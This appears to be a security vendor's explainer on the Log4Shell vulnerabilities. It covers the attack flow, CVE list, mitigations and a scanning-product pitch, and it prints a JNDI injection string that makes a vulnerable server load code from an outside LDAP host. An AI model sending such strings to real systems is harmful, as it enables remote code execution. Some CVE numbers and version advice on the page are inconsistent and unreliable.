We analyse the high effectiveness of log4j and the multiple...
Log4J / Log4Shell Overview
This page provides an overview of the latest Log4J/Log4Shell Vulnerability (CVE-2021-44228 and more)
Latest Update 19 December 2021
0
Number of Downloads
0
Number of Vulnerabilities per version
0
Number of Vendor Affected
0
Product Affected Per Vendor
Download from Maven Central
Downloads
Best Fixer
In this retrospective article we go trough the common workaround...
What is Log4j?
Log4j is a widely used open-source logging library for Java applications. Log4j provides additional logging capabilities, like log levels (fatal, error, warn, etc), mechanisms to write to different log files, log rolling patterns, and more. Log4j has been recently affected by a number of vulnerabilities all classified as log4shell.
If you’ve ever worked within a Java application, you’ve probably seen Log4j in use:
import org.apache.logging.log4j.Logger;
…
LOGGER.info(String.format("An error occurred while uploading the file [%s]", theFile));
…
Vulnerability Explained
Simple Explanation
1. Victim is running a Java Web that uses the log4j logging library (potentially affected by log4shell)
2. The victim web app has code that logs http request payloads/headers with log statements (example User-Agent) (refer to the Java Code snippet)
3. Attacker identifies vulnerable app and makes a request to the server with the User-Agent Value set to this. What does this mean? (refer to the curl request)
jndi == Java Naming and Directory Interface. Allows Java apps to access multiple apis for LDAP, Remote Method Invocation (RMI), etc through the JNDI Interface
4. The attacker tries to get the log4j library to lookup an LDAP server through JNDI
If the log4j library is vulnerable, it will attempt to call the URI (ldap server).
5. The attacker runs the purported LDAP server and feeds a “malicious” class that contains some code that they want your app to run.
6. Because your log4j library is vulnerable. It makes the LDAP call, receives the class, runs the code and you have RCE
Attack Stages
- An attacker injects a malicious request
- Apache pass the log string via
log.info("${jndi:ldap://patch.log4shell.com:1389/a}"), - Log4j library in apache or any other vulnerable application use “Message Lookup” . The JNDI Manager is invoked and passed the LDAP URI,
- The LDAP Server is queried via the URI,
- The response is downloaded and passed to the JNDI Manager. The JNDI Manager loads the response data as Java bytecode into the Java process,
- When loading the Java code, the
getObjectInstancemethod is called since the loaded class is anObjectFactory(alternatively, the payload code can be wrapped in a static context withstatic {}which will be triggered upon loading the class),
- An attacker can download and inject the malicious code or call home.
CVE and Version Affected
CVE-2021-44228 (CRITICAL):
Original log4j CVE that originate the first wave. The vulnerability Impacts “org.apache.logging.log4j.log4j-core” versions 2.x only: <2.15.0 affected. Ratings CVSS got updated several times till the current critical
CVE-2021-45046 (HIGH):
DoS vulnerability affecting log4j-core version <=2.15.0 but not 2.16.0. Therefore, 2.16.0 is the safest version to be on.
CVE-2021-4104 (MODERATE):
Less severe variant of CVE-2021-44228 impacting log4j 1.x only. Impacts all versions of a different group/artifact altogether: “log4j:log4j.” Not applicable to “log4j-core” (those are 2.x versions).
Vendor Vulnerabilities (not yet CVE)
SONATYPE-2021-4560 (HIGH):
Applies to log4j 2.x versions until and including 2.15.0. Fixed version to be on is 2.16.0. Vulnerability based on Praetorian’s blog. Detailed in this news report. Currently under CVE Release Fast-Track as full disclosure is pending with Apache. (will update)
SONATYPE-2021-4517 AKA CVE-2021-42550 (MODERATE):
Similar to CVE-2021-4044, but impacts “logback-classic,” and “logback-core,” as logback is based off of log4j 1.x. Sonatype ID is based on this issue: https://jira.qos.ch/browse/LOGBACK-1591
CVE-2021-4832 (MODERATE):
Two Vulnerabilities have been affecting the 2.17.1 – a Config modification from a checkpoint researcher Yaniv claimed credit for the first discovery Tweet and the latest RCE
from a tesla sec engineer Tweet
Mitigations Available
- Detect with Waf Malicious string (see blog post for mitigations)
- Disable log4j, utilize different versions, upgrade to the latest version (currently 2.17
- Disable JND Lookups
- Disable Remote Code Execution
- Monitor Logs for presence of malicious string
Other Mitigations
- Utilizing Java 8 or later? upgrade to Log4j 2.17.0, 2.16 had the JNDI lookup functionality disabled by default but another RCE was developerd
- If can’t update Java 7, upgrade to Log4j 2.12.2
If upgrading you can’t update Log4j library is, but you have access to the servers those options are available
- Remove the JndiLookup class from the classpath:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. This assumes you’re confident your application does not leverage JNDI Lookups. - Hot patch running JVM processes using AWS’ Log4jHotPatch: https://github.com/corretto/hotpatch-for-apache-log4j2. This carries some potential risk.
How can you Detect
Detect & Act on Log4J With AppSec Phoenix
Find where Log4J is in your application
Create applications, link to scanners/scan and create a plan of action
Review the scan results and push the Jira or e-mail the most critical vulnerabilities
How does it look like
Let us do the heavy lifting
We are following the story very proactively and working with clients to help identify and automatically report and get alerted in the future on those vulnerabilities
Get Notified when Vulnerabilities like Log4J affect your system.
We monitor actively the criticality of the application and notify you of a selection of the application and the risk level
to get more info reach out to us
Act Fast
The vulnerabilities get actively traced to detect which application is more vulnerable
Quickly identify the more critical and exposed vulnerabilities for each log4j or the log4j in general
Quickly Detect and automatically push the vulnerabilities to Jira for the team to look at as matter of priority
